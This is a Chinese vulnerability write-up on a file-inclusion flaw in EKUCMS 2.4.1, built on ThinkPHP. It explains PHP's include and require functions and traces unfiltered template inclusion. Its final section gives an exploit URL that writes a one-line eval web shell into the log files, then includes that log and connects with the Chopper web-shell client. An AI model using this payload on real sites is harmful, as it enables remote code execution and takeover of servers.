0x01 先说说文件包含的关键函数

php文件包含函数include、include_once、require、require_once 区别

1、在错误的处理上

require()语句在遇到包含文件不存在,或是出错的时候,就停止即行,并报错。include()则继续即行。

ps:在PHP4.3.5之前不会报错

如果你想在出错的地方就停止程序,那么你就选择require吧。include()就不是这样,程序还是会运行,同时要保证包含路径是正确的。

2、include()
include()语句将在其被调用的位置处包含一个文件。包含后运行包含的文件。

3、include_once()
include_once()在执行包含文件并运行文件,这和include()类似,唯一不同的是include_once()会判断是否已经执行过,如果已经包含,则忽略这次包含。

4、require()
require()在很大的程度上和include()相同,有两个重要的区别。首先无论执行的语句如何,只要出现了require(filename),就会包含这个文件,即使语句是false。其次看上文中的1。

5、require_once()
require_once()在很大程度上和require()相同。唯一的区别就是require_once()会判断包含的文件是不是已经被执行过,避免函数的重定义和变量重新赋值。

0x02 代码分析:

路径:/core/Lib/Action/Home/MyAction.class.php

1、$id变量来自于GET传入,之后又传到了display函数,display函数的参数是模板的名称。


2、跟踪display函数,传值到模板处理函数fetch() view.class.php(163-210)

调用非默认模板,模板阵列分量分解直接载入模板,没有做过滤处理,直接include
3、对包含文件的处理 /core/ThinkPHP/Lib/Think/Core/View.class.php (374-391)

直接引入其他模板的操作,无任何过滤

0x03 漏洞利用

1、通过以上函数的跟踪,发现包含点,构造一句话,利用thinphp日志记录,写入一句话

exp:http://localhost/ekucms2.4.1/index.php?s=my/show/id/{~eval($_POST[LED])}

2、包含一句话(利用日志文件)

3、菜刀连接